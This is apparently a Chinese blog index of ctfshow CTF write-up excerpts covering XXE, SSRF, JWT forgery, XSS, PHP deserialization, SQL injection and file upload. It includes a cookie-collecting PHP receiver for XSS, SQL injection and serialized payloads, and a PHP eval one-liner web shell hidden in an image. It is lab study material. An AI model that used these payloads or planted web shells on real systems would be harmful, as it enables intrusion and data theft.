ctfshow-phpcve 刷题记录
这个phpcve专题我就不写了,看这个师傅的wp就行了,写的很详细了
这篇文章
ctfshow-nodejs 刷题记录
nodejs官方中文文档,不明白的东西可以进去查 文档
这篇文章写的很好 —-> nodejs的wp
web334题目
这里的把文件下载下来,添加后缀.zip就可以看到有两个文件在压缩包里
user.js
12345module.exports = { items: [ {username: 'CTFSHOW', password: '123456'} ]};
login.js
12345var findUser = function(name, password){ return users.find(function(item){ return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; });};
就上面的代码时解题关键
其中toUpperCase ...
ctfshow-xxe 刷题记录
xxe的解释 —-> 这篇文章 —->讲的比较详细了,几乎覆盖了xxe的所有攻击方法
这篇文章写的也不错 —-> 也是对xxe攻击的解释和介绍
web373题目
123456789101112131415// 允许加载外部实体libxml_disable_entity_loader(false);// xml文件来源于数据流$xmlfile = file_get_contents('php://input');if(isset($xmlfile)){ $dom = new DOMDocument(); // 加载xml实体,参数为替代实体、加载外部子集 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 把 DOM 节点转换为 SimpleXMLElement 对象 $creds = simplexml_import_dom($dom); // 节点嵌套 $ctfshow = $creds->ctfshow; ...
ctfshow-SSRF 刷题记录
可以通过这篇文章来了解一下啥是SSRF ——> https://websec.readthedocs.io/zh/latest/vuln/ssrf.html
(觉得写的不好的话可以自己去网上搜,网上挺多人写的)
1以下内容摘自这篇文章 https://blog.csdn.net/q20010619/article/details/120536552
12SSRF基础SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
12345678相关函数和类file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中readfile():输出一个文件的内容fsockopen():打开一个网络连接或者一个Unix 套接字连接curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec( ...
ctfshow-JWT 刷题记录
JWT —->https://zhuanlan.zhihu.com/p/86937325
可以去看看这篇文章了解一下啥是JWT(如果觉得不好,可以自己去搜一下,网上挺多人讲的这个)
jwt解密网站https://jwt.io/
前置知识JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的。设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。
这篇文章介绍了jwt和其的几种攻击方法 —-> https://xz.aliyun.com/t/2338
这篇文章几乎概括了所有的jwt攻击的方法 —-> https://www.cnblogs.com/HelloCTF/p/15748380.html
web345题目
然后查看源代码发现了提示。
12这里说一下url/admin 和 url/admin/的区别前者是访问admin这个文件 后者是 ...
三校联合训练赛web wp
webBuyBuyBuy
打开题目 发现是买flag的题目 题目还给了源码,这不是送分吗(狗头)
一共两处地方,/login和/buyflag 而且通过查看源码和题目的cookie,发现是一道jwt类型的题目
然后就去了解了一下,jwt是什么,然后就知道是通过修改cookie来获得flag的。
jwt解密网站https://jwt.io/
访问/login然后输入get传个usrname的参数,就可以拿到cookie值,然后拿去jwt解密网站去解密
secret不知道 大概去找了找,没找到,就直接利用工具去破解拿到secret了。
利用jwt爆破攻击爆破下载地址https://github.com/brendan-rius/c-jwt-cracker具体安装方法文档中有。使用方法 ./jwtcrack jwt
然后拿到secret,就去jwt解密网站去修改money和secret
然后就去访问/buyflag去买flag。
然后就拿到flag了。
EasyRCE
一道无数字字母的rce (大写字母其实可以不加)(狗头)
直接上网找就行了,网上有payload
p ...
ctfshow-XSS-刷题记录
其实XSS有很多语句的的,如果做题的时候被过滤了的话,可以在这篇文章下找,这篇文章就为了用来记录xss的payload的
XSS漏洞常见类型 反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询类页面;(需要别人去点击自己伪造的链接) 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板、注册等页面;(管理员访问的时候就会自动执行) DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前段代码输出的时候产生的问题,一次性,也属于反射型。
web316(反射型)这里由于懒得花钱去搞vps(当然也没去学咋搞…)所以这里就用一个内网渗透的工具去搞(cpolar)
具体怎么用可以自己去网上去找,很简单的 点击这里,这篇文章可以教你如何操作
需要部署在本地的php代码
123456<?php $flag=$_GET['c'];$file=fopen('flag.txt','w+');fwrite($file,$flag);fclose($file);?>
作用:就是接 ...
ctfshow-反序列化 刷题记录
web254源码
这里没有魔术方法,因为魔术方法是下划线开头的 ——> __toString() 类似这种
payload
1/?username=xxxxxx&password=xxxxxx
没用到反序列化的东西。
web255源码
这里用到了反序列的语句了,但魔术方法还是没有用到。
这题和上一题的不同是false无法自动变成true了,那么我们就得手动去变。
payload
1O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
获取脚本
123456789101112131415161718192021222324<?phpclass ctfShowUser{ public $username='xxxxxx'; public $p ...
ctfshow-sql注入 刷题记录
web171源码
给了一个sql语句,那么我们就可以通过这sql语句来进行判断,那么我们可以自己新建一个数据库来测试。
就是利用phpstudy和navicat (网上有教程,可以去拿来学习学习)
新建了一个和题目差不多的user表,然后就可进行测试。
通过这几个简单的测试,发现了就是虽然username不等于flag的情况下,可以利用id,就令前面的id=xx不成立的情况下,就可以用到后面的id了,那么我们就得以后面的id为突破口。
1-1' or id='xxx ''是为了闭合sql语句,否则无法执行
解法
这道题的解法是看到只能查到id=24,我们就怀疑会不会藏在后面,我们就可以一个一个的试出来。
web172源码
这道题直接用上一道题的解法,这道题就解不了了那么可以换别的解法,就是union联合注入。
就是可以本地试一下,如果成功了话,就可以拿去题目试一下
1-1' union select id,password from user where username='flag
这里查询列的数 ...
ctfshow 文件上传 刷题记录
文件上传检测有三个
文件名
文件类型
文件内容
web151源码
windows下合成图片码方法。
然后传图片码
进行抓包
抓包后修改后缀为php,然后访问。
出现这种情况就是成功了,然后用蚁剑连接
然后就可以拿到flag了。
解法二
直接把这里的png限制给改成php,那么就可以直接上传一句话木马了,然后进行rce了。
web152源码
还是一样的格式,
那么还是上传图片码
1图片码就是一句话木马<?php eval($_POST[1]);?> 加上任意一张图片组成的图片码。
上传成功后进行修改后缀。
然后就去访问url/upload/normal_upload.php
然后就可以拿到flag了。
web153源码
这道题居然这么快就用到.user.ini,我以为还要到后面的题。
https://blog.csdn.net/qq_63548648/article/details/128165642 这是我对 .htacess和.user.ini用法的总结。
1这里虽然改文件后缀可以绕过,但是网站无法进行解析,蚁剑也不能连接。所以就得去用. ...